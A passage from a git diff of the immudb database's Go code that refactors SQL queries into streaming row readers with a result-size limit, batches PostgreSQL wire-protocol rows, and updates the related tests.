&schema.SQLQueryResult{Columns: cols} - - for l := 1; ; l++ { - row, err := r.Read(ctx) - if err == sql.ErrNoMoreRows { - break - } - if err != nil { - return nil, err - } - - if l > d.maxResultSize { - return res, fmt.Errorf("%w: found more than %d rows (the maximum limit). "+ - "Query constraints can be applied using the LIMIT clause", - ErrResultSizeLimitReached, d.maxResultSize) - } - - rrow := &schema.Row{ - Columns: make([]string, len(res.Columns)), - Values: make([]*schema.SQLValue, len(res.Columns)), - } - - for i := range colDescriptors { - rrow.Columns[i] = cols[i].Name - - v := row.ValuesByPosition[i] - - _, isNull := v.(*sql.NullValue) - if isNull { - rrow.Values[i] = &schema.SQLValue{Value: &schema.SQLValue_Null{}} - } else { - rrow.Values[i] = typedValueToRowValue(v) - } - } - - res.Rows = append(res.Rows, rrow) - } - - return res, nil + defer reader.Close() + return sql.ReadAllRows(ctx, reader) } -func (d *db) SQLQueryRowReader(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { +func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { if stmt == nil { return nil, ErrIllegalArguments } @@ -479,37 +417,24 @@ func (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sq return d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt}) } -func typedValueToRowValue(tv sql.TypedValue) *schema.SQLValue { - switch tv.Type() { - case sql.IntegerType: - { - return &schema.SQLValue{Value: &schema.SQLValue_N{N: tv.RawValue().(int64)}} - } - case sql.VarcharType: - { - return &schema.SQLValue{Value: &schema.SQLValue_S{S: tv.RawValue().(string)}} - } - case sql.UUIDType: - { - u := tv.RawValue().(uuid.UUID) - return &schema.SQLValue{Value: &schema.SQLValue_S{S: u.String()}} - } - case sql.BooleanType: - { - return &schema.SQLValue{Value: &schema.SQLValue_B{B: tv.RawValue().(bool)}} - } - case sql.BLOBType: - { - return &schema.SQLValue{Value: &schema.SQLValue_Bs{Bs: tv.RawValue().([]byte)}} - } - case sql.TimestampType: - { - return &schema.SQLValue{Value: &schema.SQLValue_Ts{Ts: sql.TimeToInt64(tv.RawValue().(time.Time))}} - } - case sql.Float64Type: - { - return &schema.SQLValue{Value: &schema.SQLValue_F{F: tv.RawValue().(float64)}} - } +type limitRowReader struct { + sql.RowReader + nRead int + maxRows int +} + +func (r *limitRowReader) Read(ctx context.Context) (*sql.Row, error) { + row, err := r.RowReader.Read(ctx) + if err != nil { + return nil, err } - return nil + + if r.nRead == r.maxRows { + return nil, fmt.Errorf("%w: found more than %d rows (the maximum limit). "+ + "Query constraints can be applied using the LIMIT clause", + ErrResultSizeLimitReached, r.maxRows) + } + + r.nRead++ + return row, nil } diff --git a/pkg/database/sql_test.go b/pkg/database/sql_test.go index 62f195599a..27af31dfb0 100644 --- a/pkg/database/sql_test.go +++ b/pkg/database/sql_test.go @@ -74,27 +74,31 @@ func TestSQLExecAndQuery(t *testing.T) { params := make([]*schema.NamedParam, 1) params[0] = &schema.NamedParam{Name: "active", Value: &schema.SQLValue{Value: &schema.SQLValue_B{B: true}}} - _, err = db.SQLQueryPrepared(context.Background(), nil, nil, nil) + _, err = db.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.SQLQuery(context.Background(), nil, nil) + _, err = db.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) - _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "invalid sql statement"}) + _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "invalid sql statement"}) require.ErrorContains(t, err, "syntax error") - _, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}) + _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}) require.ErrorIs(t, err, sql.ErrExpectingDQLStmt) q := "SELECT * FROM table1 LIMIT 1" - res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) + rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.NoError(t, err) - require.Len(t, res.Rows, 1) + require.Len(t, rows, 1) q = "SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 4 AND active != @active" - res, err = db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) + rows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.ErrorIs(t, err, ErrResultSizeLimitReached) - require.Len(t, res.Rows, 2) + require.Len(t, rows, 2) + + rows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params, AcceptStream: true}) + require.NoError(t, err) + require.Len(t, rows, 3) inferredParams, err := db.InferParameters(context.Background(), nil, q) require.NoError(t, err) diff --git a/pkg/database/truncator_test.go b/pkg/database/truncator_test.go index 3a64de7bd0..6861de64d0 100644 --- a/pkg/database/truncator_test.go +++ b/pkg/database/truncator_test.go @@ -325,10 +325,10 @@ func Test_vlogCompactor_with_sql(t *testing.T) { } query := func(t *testing.T, stmt string, expectedRows int) { - res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) + rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) - require.Len(t, res.Rows, expectedRows) + require.Len(t, rows, expectedRows) } // create a new table @@ -474,10 +474,10 @@ func Test_vlogCompactor_with_multiple_truncates(t *testing.T) { } query := func(t *testing.T, stmt string, expectedRows int) { - res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) + rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) - require.Len(t, res.Rows, expectedRows) + require.Len(t, rows, expectedRows) } verify := func(t *testing.T, txID uint64) { @@ -626,10 +626,10 @@ func Test_vlogCompactor_with_document_store(t *testing.T) { } query := func(t *testing.T, stmt string, expectedRows int) { - res, err := db.SQLQuery(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) + rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: stmt}) require.NoError(t, err) require.NoError(t, err) - require.Len(t, res.Rows, expectedRows) + require.Len(t, rows, expectedRows) } verify := func(t *testing.T, txID uint64) { diff --git a/pkg/integration/sql/sql_test.go b/pkg/integration/sql/sql_test.go index b65957c2de..2fbe43e304 100644 --- a/pkg/integration/sql/sql_test.go +++ b/pkg/integration/sql/sql_test.go @@ -24,6 +24,7 @@ import ( "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" ic "github.com/codenotary/immudb/pkg/client" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" @@ -258,6 +259,80 @@ func TestImmuClient_SQL(t *testing.T) { }) } +func TestImmuClient_SQLQueryReader(t *testing.T) { + options := server.DefaultOptions().WithDir(t.TempDir()).WithMaxResultSize(2) + bs := servertest.NewBufconnServer(options) + + bs.Start() + defer bs.Stop() + + ctx := context.Background() + + client, err := bs.NewAuthenticatedClient(ic.DefaultOptions().WithDir(t.TempDir())) + require.NoError(t, err) + defer client.CloseSession(ctx) + + _, err = client.SQLExec(ctx, ` + CREATE TABLE test_table ( + id INTEGER AUTO_INCREMENT, + value INTEGER, + + PRIMARY KEY (id) + ); + `, nil) + require.NoError(t, err) + + for n := 0; n < 10; n++ { + _, err := client.SQLExec(ctx, "INSERT INTO test_table(value) VALUES (@value)", map[string]interface{}{"value": n + 10}) + require.NoError(t, err) + } + + reader, err := client.SQLQueryReader(ctx, "SELECT * FROM test_table WHERE value < 0", nil) + require.NoError(t, err) + require.False(t, reader.Next()) + + _, err = reader.Read() + require.ErrorIs(t, err, sql.ErrNoMoreRows) + + _, err = client.SQLQuery(ctx, "SELECT * FROM test_table", nil, false) + require.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error()) + + reader, err = client.SQLQueryReader(ctx, "SELECT * FROM test_table", nil) + require.NoError(t, err) + + cols := reader.Columns() + require.Equal(t, cols[0].Name, "(test_table.id)") + require.Equal(t, cols[0].Type, sql.IntegerType) + require.Equal(t, cols[1].Name, "(test_table.value)") + require.Equal(t, cols[1].Type, sql.IntegerType) + + n := 0 + for reader.Next() { + row, err := reader.Read() + require.NoError(t, err) + require.Len(t, row, 2) + + require.Equal(t, int64(n+1), row[0]) + require.Equal(t, int64(n+10), row[1]) + n++ + } + + require.Equal(t, n, 10) + require.NoError(t, reader.Close()) + require.ErrorIs(t, reader.Close(), sql.ErrAlreadyClosed) + + reader, err = client.SQLQueryReader(ctx, "SELECT * FROM test_table", nil) + require.NoError(t, err) + + require.True(t, reader.Next()) + require.NoError(t, reader.Close()) + require.False(t, reader.Next()) + + row, err := reader.Read() + require.Nil(t, row) + require.ErrorIs(t, err, sql.ErrAlreadyClosed) +} + func TestImmuClient_SQL_UserStmts(t *testing.T) { options := server.DefaultOptions().WithDir(t.TempDir()) bs := servertest.NewBufconnServer(options) diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index 6551044246..4a030ca96a 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -18,18 +18,23 @@ package integration import ( "context" + "fmt" "testing" "github.com/codenotary/immudb/pkg/api/schema" immudb "github.com/codenotary/immudb/pkg/client" "github.com/codenotary/immudb/pkg/client/errors" + "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/stretchr/testify/require" ) -func setupTest(t *testing.T) (*servertest.BufconnServer, immudb.ImmuClient) { +func setupTest(t *testing.T, maxResultSize int) (*servertest.BufconnServer, immudb.ImmuClient) { options := server.DefaultOptions().WithDir(t.TempDir()) + if maxResultSize > 0 { + options = options.WithMaxResultSize(maxResultSize) + } bs := servertest.NewBufconnServer(options) bs.Start() @@ -45,7 +50,7 @@ func setupTest(t *testing.T) (*servertest.BufconnServer, immudb.ImmuClient) { } func TestTransaction_SetAndGet(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) // tx mode tx, err := client.NewTx(context.Background(), immudb.UnsafeMVCC(), immudb.SnapshotMustIncludeTxID(0), immudb.SnapshotRenewalPeriod(0)) @@ -88,8 +93,52 @@ func TestTransaction_SetAndGet(t *testing.T) { require.NoError(t, err) } +func TestTransaction_SQLReader(t *testing.T) { + _, client := setupTest(t, 2) + + _, err := client.SQLExec(context.Background(), `CREATE TABLE table1( + id INTEGER, + title VARCHAR[100], + + PRIMARY KEY id + );`, nil) + require.NoError(t, err) + + for i := 0; i < 10; i++ { + params := map[string]interface{}{ + "id": i + 1, + "title": fmt.Sprintf("title%d", i), + } + _, err := client.SQLExec(context.Background(), "INSERT INTO table1(id, title) VALUES (@id, @title)", params) + require.NoError(t, err) + } + + tx, err := client.NewTx(context.Background()) + require.NoError(t, err) + defer tx.Rollback(context.Background()) + + _, err = tx.SQLQuery(context.Background(), "SELECT id, title FROM table1", nil) + require.ErrorContains(t, err, database.ErrResultSizeLimitReached.Error()) + + reader, err := tx.SQLQueryReader(context.Background(), "SELECT id, title FROM table1", nil) + require.NoError(t, err) + + n := 0 + for reader.Next() { + row, err := reader.Read() + require.NoError(t, err) + require.Len(t, row, 2) + require.Equal(t, int64(n+1), row[0]) + require.Equal(t, fmt.Sprintf("title%d", n), row[1]) + + n++ + } + + require.Equal(t, 10, n) +} + func TestTransaction_Rollback(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) _, err := client.SQLExec(context.Background(), "CREATE DATABASE db1;", nil) require.NoError(t, err) @@ -131,7 +180,7 @@ func TestTransaction_Rollback(t *testing.T) { } func TestTransaction_MultipleReadWriteTransactions(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) tx1, err := client.NewTx(context.Background()) require.NoError(t, err) @@ -147,7 +196,7 @@ func TestTransaction_MultipleReadWriteTransactions(t *testing.T) { } func TestTransaction_ChangingDBOnSessionNoError(t *testing.T) { - bs, client := setupTest(t) + bs, client := setupTest(t, -1) txDefaultDB, err := client.NewTx(context.Background()) require.NoError(t, err) @@ -196,7 +245,7 @@ func TestTransaction_ChangingDBOnSessionNoError(t *testing.T) { } func TestTransaction_MultiNoErr(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) ctx := context.Background() tx, err := client.NewTx(ctx) @@ -274,7 +323,7 @@ func TestTransaction_MultiNoErr(t *testing.T) { } func TestTransaction_HandlingReadConflict(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) ctx := context.Background() tx, err := client.NewTx(ctx) diff --git a/pkg/integration/tx/tx_entries_test.go b/pkg/integration/tx/tx_entries_test.go index 563ed9daa8..da78333147 100644 --- a/pkg/integration/tx/tx_entries_test.go +++ b/pkg/integration/tx/tx_entries_test.go @@ -26,7 +26,7 @@ import ( ) func Test_GetTransactionEntries(t *testing.T) { - _, client := setupTest(t) + _, client := setupTest(t, -1) hdr, err := client.ExecAll(context.Background(), &schema.ExecAllRequest{ Operations: []*schema.Op{ diff --git a/pkg/pgsql/server/bmessages/data_row.go b/pkg/pgsql/server/bmessages/data_row.go index 7e752b1646..d251a5aba6 100644 --- a/pkg/pgsql/server/bmessages/data_row.go +++ b/pkg/pgsql/server/bmessages/data_row.go @@ -20,11 +20,11 @@ import ( "bytes" "encoding/binary" - "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/embedded/sql" ) // DataRow if ResultColumnFormatCodes is nil default text format is used -func DataRow(rows []*schema.Row, colNumb int, ResultColumnFormatCodes []int16) []byte { +func DataRow(rows []*sql.Row, colNumb int, ResultColumnFormatCodes []int16) []byte { rowsB := make([]byte, 0) for _, row := range rows { rowB := make([]byte, 0) @@ -37,7 +37,7 @@ func DataRow(rows []*schema.Row, colNumb int, ResultColumnFormatCodes []int16) [ columnNumb := make([]byte, 2) binary.BigEndian.PutUint16(columnNumb, uint16(colNumb)) - for i, val := range row.Values { + for i, val := range row.ValuesByPosition { if val == nil { return nil } @@ -46,50 +46,50 @@ func DataRow(rows []*schema.Row, colNumb int, ResultColumnFormatCodes []int16) [ value := make([]byte, 0) BINformat := false - if ResultColumnFormatCodes != nil && len(ResultColumnFormatCodes) == 1 { + if len(ResultColumnFormatCodes) == 1 { BINformat = ResultColumnFormatCodes[0] == 1 } if ResultColumnFormatCodes != nil && len(ResultColumnFormatCodes) > i && ResultColumnFormatCodes[i] == 1 { BINformat = true } if BINformat { - switch tv := val.Value.(type) { - case *schema.SQLValue_Null: - { - n := -1 - binary.BigEndian.PutUint32(valueLength, uint32(n)) - } - case *schema.SQLValue_N: - { - binary.BigEndian.PutUint32(valueLength, uint32(8)) - value = make([]byte, 8) - binary.BigEndian.PutUint64(value, uint64(tv.N)) - } - case *schema.SQLValue_S: - { - binary.BigEndian.PutUint32(valueLength, uint32(len(tv.S))) - value = make([]byte, len(tv.S)) - value = []byte(tv.S) - } - case *schema.SQLValue_B: - { - binary.BigEndian.PutUint32(valueLength, uint32(1)) - value = make([]byte, 1) - value = []byte{0} - if tv.B { - value = []byte{1} + if val.IsNull() { + n := -1 + binary.BigEndian.PutUint32(valueLength, uint32(n)) + } else { + rv := val.RawValue() + switch val.Type() { + case sql.IntegerType: + { + binary.BigEndian.PutUint32(valueLength, uint32(8)) + value = make([]byte, 8) + binary.BigEndian.PutUint64(value, uint64(rv.(int64))) + } + case sql.VarcharType: + { + s := rv.(string) + binary.BigEndian.PutUint32(valueLength, uint32(len(s))) + value = []byte(s) + } + case sql.BooleanType: + { + binary.BigEndian.PutUint32(valueLength, uint32(1)) + value = []byte{0} + if rv.(bool) { + value = []byte{1} + } + } + case sql.BLOBType: + { + blob := rv.([]byte) + binary.BigEndian.PutUint32(valueLength, uint32(len(blob))) + value = blob } - } - case *schema.SQLValue_Bs: - { - binary.BigEndian.PutUint32(valueLength, uint32(len(tv.Bs))) - value = make([]byte, len(tv.Bs)) - value = tv.Bs } } } else { // only text format is allowed in simple query - value = schema.RenderValueAsByte(val.Value) + value = renderValueAsByte(val) } binary.BigEndian.PutUint32(valueLength, uint32(len(value))) // As a special case, -1 indicates a NULL column value. No value bytes follow in the NULL case. @@ -109,3 +109,10 @@ func DataRow(rows []*schema.Row, colNumb int, ResultColumnFormatCodes []int16) [ } return rowsB } + +func renderValueAsByte(v sql.TypedValue) []byte { + if v.IsNull() { + return nil + } + return []byte(v.String()) +} diff --git a/pkg/pgsql/server/bmessages/parameter_description.go b/pkg/pgsql/server/bmessages/parameter_description.go index e9d53fe4f6..62083a51e2 100644 --- a/pkg/pgsql/server/bmessages/parameter_description.go +++ b/pkg/pgsql/server/bmessages/parameter_description.go @@ -20,25 +20,25 @@ import ( "bytes" "encoding/binary" - "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) // Byte1('t') -//Identifies the message as a parameter description. +// Identifies the message as a parameter description. // -//Int32 -//Length of message contents in bytes, including self. +// Int32 +// Length of message contents in bytes, including self. // -//Int16 -//The number of parameters used by the statement (can be zero). +// Int16 +// The number of parameters used by the statement (can be zero). // -//Then, for each parameter, there is the following: +// Then, for each parameter, there is the following: // -//Int32 -//Specifies the object ID of the parameter data type. +// Int32 +// Specifies the object ID of the parameter data type. // ParameterDescription send a parameter description message. Cols need to be lexicographically ordered by selector -func ParameterDescription(cols []*schema.Column) []byte { +func ParameterDescription(cols []sql.ColDescriptor) []byte { // Identifies the message as a run-time parameter status report. messageType := []byte(`t`) selfMessageLength := make([]byte, 4) diff --git a/pkg/pgsql/server/bmessages/row_description.go b/pkg/pgsql/server/bmessages/row_description.go index 87c2ac7ca6..0137dc2ed2 100644 --- a/pkg/pgsql/server/bmessages/row_description.go +++ b/pkg/pgsql/server/bmessages/row_description.go @@ -20,11 +20,11 @@ import ( "bytes" "encoding/binary" - "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) -func RowDescription(cols []*schema.Column, formatCodes []int16) []byte { +func RowDescription(cols []sql.ColDescriptor, formatCodes []int16) []byte { ////##-> dataRowDescription //Byte1('T') messageType := []byte(`T`) @@ -38,7 +38,7 @@ func RowDescription(cols []*schema.Column, formatCodes []int16) []byte { for n, col := range cols { // The field name. // String - fieldName := []byte(col.Name) + fieldName := []byte(col.Selector()) fieldName = bytes.Join([][]byte{fieldName, {0}}, nil) // If the field can be identified as a column of a specific table, the object ID of the table; otherwise zero. // Int32 diff --git a/pkg/pgsql/server/query_machine.go b/pkg/pgsql/server/query_machine.go index 6d3964b2f7..9272247b54 100644 --- a/pkg/pgsql/server/query_machine.go +++ b/pkg/pgsql/server/query_machine.go @@ -31,8 +31,12 @@ import ( fm "github.com/codenotary/immudb/pkg/pgsql/server/fmessages" ) -const helpPrefix = "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" -const tableHelpPrefix = "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" +const ( + helpPrefix = "select relname, nspname, relkind from pg_catalog.pg_class c, pg_catalog.pg_namespace n where relkind in ('r', 'v', 'm', 'f', 'p') and nspname not in ('pg_catalog', 'information_schema', 'pg_toast', 'pg_temp_1') and n.oid = relnamespace order by nspname, relname" + tableHelpPrefix = "select n.nspname, c.relname, a.attname, a.atttypid, t.typname, a.attnum, a.attlen, a.atttypmod, a.attnotnull, c.relhasrules, c.relkind, c.oid, pg_get_expr(d.adbin, d.adrelid), case t.typtype when 'd' then t.typbasetype else 0 end, t.typtypmod, c.relhasoids, '', c.relhassubclass from (((pg_catalog.pg_class c inner join pg_catalog.pg_namespace n on n.oid = c.relnamespace and c.relname like '" + + maxRowsPerMessage = 1024 +) func (s *session) QueryMachine() error { var waitForSync = false @@ -96,8 +100,8 @@ func (s *session) QueryMachine() error { continue } - var paramCols []*schema.Column - var resCols []*schema.Column + var paramCols []sql.ColDescriptor + var resCols []sql.ColDescriptor var stmt sql.SQLStmt if !s.isInBlackList(v.Statements) { @@ -299,19 +303,26 @@ func (s *session) fetchAndWriteResults(statements string, parameters []*schema.N } func (s *session) query(st *sql.SelectStmt, parameters []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { - res, err := s.db.SQLQueryPrepared(s.ctx, s.tx, st, parameters) + reader, err := s.db.SQLQueryPrepared(s.ctx, s.tx, st, schema.NamedParamsFromProto(parameters)) + if err != nil { + return err + } + + cols, err := reader.Columns(s.ctx) if err != nil { return err } if !skipRowDesc { - if _, err = s.writeMessage(bm.RowDescription(res.Columns, nil)); err != nil { + if _, err = s.writeMessage(bm.RowDescription(cols, nil)); err != nil { return err } } - _, err = s.writeMessage(bm.DataRow(res.Rows, len(res.Columns), resultColumnFormatCodes)) - return err + return sql.ReadRowsBatch(s.ctx, reader, maxRowsPerMessage, func(rowBatch []*sql.Row) error { + _, err := s.writeMessage(bm.DataRow(rowBatch, len(cols), resultColumnFormatCodes)) + return err + }) } func (s *session) exec(st sql.SQLStmt, namedParams []*schema.NamedParam, resultColumnFormatCodes []int16, skipRowDesc bool) error { @@ -338,26 +349,23 @@ type statement struct { Name string SQLStatement string PreparedStmt sql.SQLStmt - Params []*schema.Column - Results []*schema.Column + Params []sql.ColDescriptor + Results []sql.ColDescriptor } -func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]*schema.Column, []*schema.Column, error) { - resCols := make([]*schema.Column, 0) +func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]sql.ColDescriptor, []sql.ColDescriptor, error) { + var resCols []sql.ColDescriptor sel, ok := stmt.(*sql.SelectStmt) if ok { - rr, err := s.db.SQLQueryRowReader(s.ctx, s.tx, sel, nil) + rr, err := s.db.SQLQueryPrepared(s.ctx, s.tx, sel, nil) if err != nil { return nil, nil, err } - cols, err := rr.Columns(s.ctx) + resCols, err = rr.Columns(s.ctx) if err != nil { return nil, nil, err } - for _, c := range cols { - resCols = append(resCols, &schema.Column{Name: c.Selector(), Type: c.Type}) - } } r, err := s.db.InferParametersPrepared(s.ctx, s.tx, stmt) @@ -375,10 +383,9 @@ func (s *session) inferParamAndResultCols(stmt sql.SQLStmt) ([]*schema.Column, [ } sort.Strings(paramsNameList) - paramCols := make([]*schema.Column, 0) + paramCols := make([]sql.ColDescriptor, 0) for _, n := range paramsNameList { - paramCols = append(paramCols, &schema.Column{Name: n, Type: r[n]}) + paramCols = append(paramCols, sql.ColDescriptor{Column: n, Type: r[n]}) } - return paramCols, resCols, nil } diff --git a/pkg/pgsql/server/query_machine_test.go b/pkg/pgsql/server/query_machine_test.go index ba2248f4c0..f5a76bfc1e 100644 --- a/pkg/pgsql/server/query_machine_test.go +++ b/pkg/pgsql/server/query_machine_test.go @@ -24,6 +24,7 @@ import ( "testing" "github.com/codenotary/immudb/embedded/logger" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" h "github.com/codenotary/immudb/pkg/pgsql/server/fmessages/fmessages_test" @@ -281,9 +282,9 @@ func TestSession_QueriesMachine(t *testing.T) { Name: "st", SQLStatement: "test", PreparedStmt: nil, - Params: []*schema.Column{{ - Name: "test", - Type: "INTEGER", + Params: []sql.ColDescriptor{{ + Column: "test", + Type: "INTEGER", }}, Results: nil, }, diff --git a/pkg/pgsql/server/types.go b/pkg/pgsql/server/types.go index 9318beb96f..8c37b7e022 100644 --- a/pkg/pgsql/server/types.go +++ b/pkg/pgsql/server/types.go @@ -22,57 +22,60 @@ import ( "fmt" "strconv" + "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" ) -func buildNamedParams(paramsType []*schema.Column, paramsVal []interface{}) ([]*schema.NamedParam, error) { +func buildNamedParams(paramsType []sql.ColDescriptor, paramsVal []interface{}) ([]*schema.NamedParam, error) { pMap := make(map[string]interface{}) for index, param := range paramsType { + name := param.Column + val := paramsVal[index] // text param if p, ok := val.(string); ok { switch param.Type { - case "INTEGER": + + case sql.IntegerType: int, err := strconv.Atoi(p) if err != nil { return nil, err } - pMap[param.Name] = int64(int) - case "VARCHAR": - pMap[param.Name] = p - case "BOOLEAN": - pMap[param.Name] = p == "true" - case "BLOB": + pMap[name] = int64(int) + case sql.VarcharType: + pMap[name] = p + case sql.BooleanType: + pMap[name] = p == "true" + case sql.BLOBType: d, err := hex.DecodeString(p) if err != nil { return nil, err } - pMap[param.Name] = d + pMap[name] = d } } // binary param if p, ok := val.([]byte); ok { switch param.Type { - case "INTEGER": + case sql.IntegerType: i, err := getInt64(p) if err != nil { return nil, err } - pMap[param.Name] = i - case "VARCHAR": - pMap[param.Name] = string(p) - case "BOOLEAN": + pMap[name] = i + case sql.VarcharType: + pMap[name] = string(p) + case sql.BooleanType: v := false if p[0] == byte(1) { v = true } - pMap[param.Name] = v - case "BLOB": - pMap[param.Name] = p + pMap[name] = v + case sql.BLOBType: + pMap[name] = p } } } - return schema.EncodeParams(pMap) } diff --git a/pkg/pgsql/server/types_test.go b/pkg/pgsql/server/types_test.go index bea21b3c21..31990226a8 100644 --- a/pkg/pgsql/server/types_test.go +++ b/pkg/pgsql/server/types_test.go @@ -22,7 +22,7 @@ import ( "fmt" "testing" - "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/embedded/sql" "github.com/stretchr/testify/require" ) @@ -44,16 +44,16 @@ func Test_getInt64(t *testing.T) { require.Equal(t, int64(1), i) bxxx := make([]byte, 64) - i, err = getInt64(bxxx) + _, err = getInt64(bxxx) require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(bxxx))) } func Test_buildNamedParams(t *testing.T) { // integer error - cols := []*schema.Column{ + cols := []sql.ColDescriptor{ { - Name: "p1", - Type: "INTEGER", + Column: "p1", + Type: "INTEGER", }, } pt := []interface{}{[]byte(`1`)} @@ -61,10 +61,10 @@ func Test_buildNamedParams(t *testing.T) { require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(cols))) // varchar error - cols = []*schema.Column{ + cols = []sql.ColDescriptor{ { - Name: "p1", - Type: "VARCHAR", + Column: "p1", + Type: "VARCHAR", }, } pt = []interface{}{[]byte(`1`)} @@ -72,10 +72,10 @@ func Test_buildNamedParams(t *testing.T) { require.NoError(t, err) // blob - cols = []*schema.Column{ + cols = []sql.ColDescriptor{ { - Name: "p1", - Type: "BLOB", + Column: "p1", + Type: "BLOB", }, } pt = []interface{}{[]byte(`1`)} @@ -83,10 +83,10 @@ func Test_buildNamedParams(t *testing.T) { require.NoError(t, err) // blob text error - cols = []*schema.Column{ + cols = []sql.ColDescriptor{ { - Name: "p1", - Type: "BLOB", + Column: "p1", + Type: "BLOB", }, } pt = []interface{}{"blob"} diff --git a/pkg/pgsql/server/version.go b/pkg/pgsql/server/version.go index 7b4f5d4cc9..72168e2e42 100644 --- a/pkg/pgsql/server/version.go +++ b/pkg/pgsql/server/version.go @@ -17,19 +17,21 @@ limitations under the License. package server import ( - "github.com/codenotary/immudb/pkg/api/schema" + "github.com/codenotary/immudb/embedded/sql" bm "github.com/codenotary/immudb/pkg/pgsql/server/bmessages" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" ) func (s *session) writeVersionInfo() error { - cols := []*schema.Column{{Name: "version", Type: "VARCHAR"}} + cols := []sql.ColDescriptor{{Column: "version", Type: sql.VarcharType}} if _, err := s.writeMessage(bm.RowDescription(cols, nil)); err != nil { return err } - rows := []*schema.Row{{ - Columns: []string{"version"}, - Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: pgmeta.PgsqlServerVersionMessage}}}, + + value := sql.NewVarchar(pgmeta.PgsqlServerVersionMessage) + rows := []*sql.Row{{ + ValuesByPosition: []sql.TypedValue{value}, + ValuesBySelector: map[string]sql.TypedValue{"version": value}, }} if _, err := s.writeMessage(bm.DataRow(rows, len(cols), nil)); err != nil { return err diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 02e5937ac1..a460248f79 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -170,15 +170,15 @@ func (db *closedDB) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (*schema.SQLQueryResult, error) { +func (db *closedDB) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { return nil, store.ErrAlreadyClosed } -func (db *closedDB) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, namedParams 